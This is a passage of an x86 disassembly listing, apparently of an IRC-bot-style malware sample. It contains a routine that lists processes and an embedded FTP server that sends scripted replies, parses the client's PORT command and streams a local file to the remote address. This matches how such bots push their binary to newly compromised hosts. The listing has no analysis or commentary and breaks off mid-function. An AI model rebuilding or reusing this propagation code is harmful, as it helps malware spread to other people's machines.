sub_41E760	proc near		; CODE XREF: sub_40161Dj

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41E760
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E8FA
		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4018E8
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011D6
		add	esp, 4
		test	al, al
		jz	loc_41E8E2
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4019C4
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_40170D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_4014E2
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], eax
		call	sub_40197E
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401811
		test	al, al
		jz	short loc_41E8E2
		mov	ebp, dword_5118D8


loc_41E86E:				; CODE XREF: sub_41E760+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_40122B
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_40122B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		push	5DCh
		call	ebp
		lea	ecx, [esp+60h+var_50]
		call	sub_40107D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40197E
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401811
		test	al, al
		jnz	short loc_41E86E


loc_41E8E2:				; CODE XREF: sub_41E760+62j
					; sub_41E760+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401825
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41E8FA:				; CODE XREF: sub_41E760+37j
		lea	ecx, [edi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E9EE
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_4014DD
		push	eax
		push	offset dword_444FFC
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41E9EE:				; CODE XREF: sub_41E760+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EB55
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_4016EA
; ---------------------------------------------------------------------------
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_402162
		add	esp, 4
		test	al, al
		jz	loc_41EB3D
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4019C4
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401B54
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_401465
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], edx
		call	sub_4013F7
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jz	short loc_41EB3D
		mov	ebx, dword_5118D8


loc_41EAD6:				; CODE XREF: sub_41E760+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401055
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	edi
		push	offset dword_444FF0
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		push	5DCh
		call	ebx
		lea	ecx, [esp+60h+var_50]
		call	sub_401839
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4013F7
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jnz	short loc_41EAD6


loc_41EB3D:				; CODE XREF: sub_41E760+2CFj
					; sub_41E760+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401253
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41EB55:				; CODE XREF: sub_41E760+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EC4C
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_4017EE
		push	eax
		call	sub_401A0A
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_4014DD
		push	eax
		push	offset dword_444FE8
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41EC4C:				; CODE XREF: sub_41E760+40Aj
		lea	ecx, [edi+60h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	short loc_41ED15
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	ebx, ebx
		jz	short loc_41ED15
		push	ebx
		push	offset dword_444FDC
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		push	ebx
		call	sub_4018B6
		add	esp, 1Ch
		jmp	short loc_41ED17
; ---------------------------------------------------------------------------


loc_41ED15:				; CODE XREF: sub_41E760+1F0j
					; sub_41E760+44Ej ...
		xor	al, al


loc_41ED17:				; CODE XREF: sub_41E760+195j
					; sub_41E760+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41E760	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41EEB0:				; CODE XREF: ___:loc_402004j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	(offset	asc_43C4EA+26h)
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_5118D8
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41EEE0:				; CODE XREF: ___:0041EEF1j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41EEF3
		push	3E8h
		call	edi
		jmp	short loc_41EEE0
; ---------------------------------------------------------------------------


loc_41EEF3:				; CODE XREF: ___:0041EEE8j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_449277
		call	sub_401A41
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4E8E9B
		push	edx
		mov	[ebp-14h], esi
		call	sub_40120D
; ---------------------------------------------------------------------------


loc_41EF19:				; DATA XREF: ___:loc_41EF2Co
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EF2C:				; DATA XREF: ___:00442554o
		mov	eax, offset loc_41EF19
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EF70	proc near		; CODE XREF: sub_401DFCj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401FDC
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401FDC
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401FDC
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401FDC
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401FDC
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41EF70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F030	proc near		; CODE XREF: sub_4020C7j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41F030
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_437B30
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr dword_44964F
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41F0B7
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4E8E9B
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F75A
; ---------------------------------------------------------------------------


loc_41F0B7:				; CODE XREF: sub_41F030+6Dj
		push	10h
		push	esi
		push	eax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41F0E7
		mov	ecx, [edi+15h]
		push	ecx
		nop
		call	near ptr 71AB9639h
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4E8E9B
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F75A
; ---------------------------------------------------------------------------


loc_41F0E7:				; CODE XREF: sub_41F030+93j
		mov	al, byte_4E8E44
		test	al, al
		jz	loc_41F750
		push	ebx
		mov	ebx, dword_511B14
		push	ebp
		mov	ebp, dword_511CA0


loc_41F102:				; CODE XREF: sub_41F030+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F11D
		push	0FAh
		jmp	loc_41F73B
; ---------------------------------------------------------------------------


loc_41F11D:				; CODE XREF: sub_41F030+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41F736
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		call	near ptr 71AC0B50h
		nop
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41F741
		mov	cl, byte_449DB8
		test	cl, cl
		jz	short loc_41F1CF
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, dword_44964F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_449958
		call	sub_4014DD
		push	eax
		push	0
		push	0
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h


loc_41F1CF:				; CODE XREF: sub_41F030+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_40142E
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401C71
		push	eax
		call	sub_4015F5
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_4014D3
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401FDC
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_401280
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_401280
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_4016B8
		push	offset asc_445078 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445078 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445078 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445078 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445078 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445078 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ecx
		nop
		call	sub_5F76F7
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp	; send
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_401AA0
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41F695
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41F695
		push	2
		push	0
		push	edi
		call	near ptr 77C4139Ch
		nop
		push	edi
		call	near ptr 77C41574h
		nop
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		nop
		call	near ptr 77C4139Ch
		add	esp, 1Ch


loc_41F5C0:				; CODE XREF: sub_41F030+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		nop
		call	near ptr 77C411FBh
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41F613
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		cmp	edi, 1000h
		jz	short loc_41F5C0


loc_41F613:				; CODE XREF: sub_41F030+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, byte_449DB8
		test	cl, cl
		mov	eax, edx
		jz	short loc_41F67C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
		mov	ecx, offset dword_449958
		call	sub_4014DD
		push	eax
		push	0
		push	0
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 2Ch


loc_41F67C:				; CODE XREF: sub_41F030+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		nop
		call	near ptr 77C40AB1h
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		nop
		call	near ptr 71AB9639h


loc_41F695:				; CODE XREF: sub_41F030+55Bj
					; sub_41F030+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp	; send
		push	esi
		call	near ptr 71AB9639h
		nop
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_401226
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_401226
		lea	ecx, [esp+0F0h+var_7C]
		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_401226
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_401226
		mov	edi, [esp+0F0h+var_DC]


loc_41F736:				; CODE XREF: sub_41F030+109j
		push	9C4h


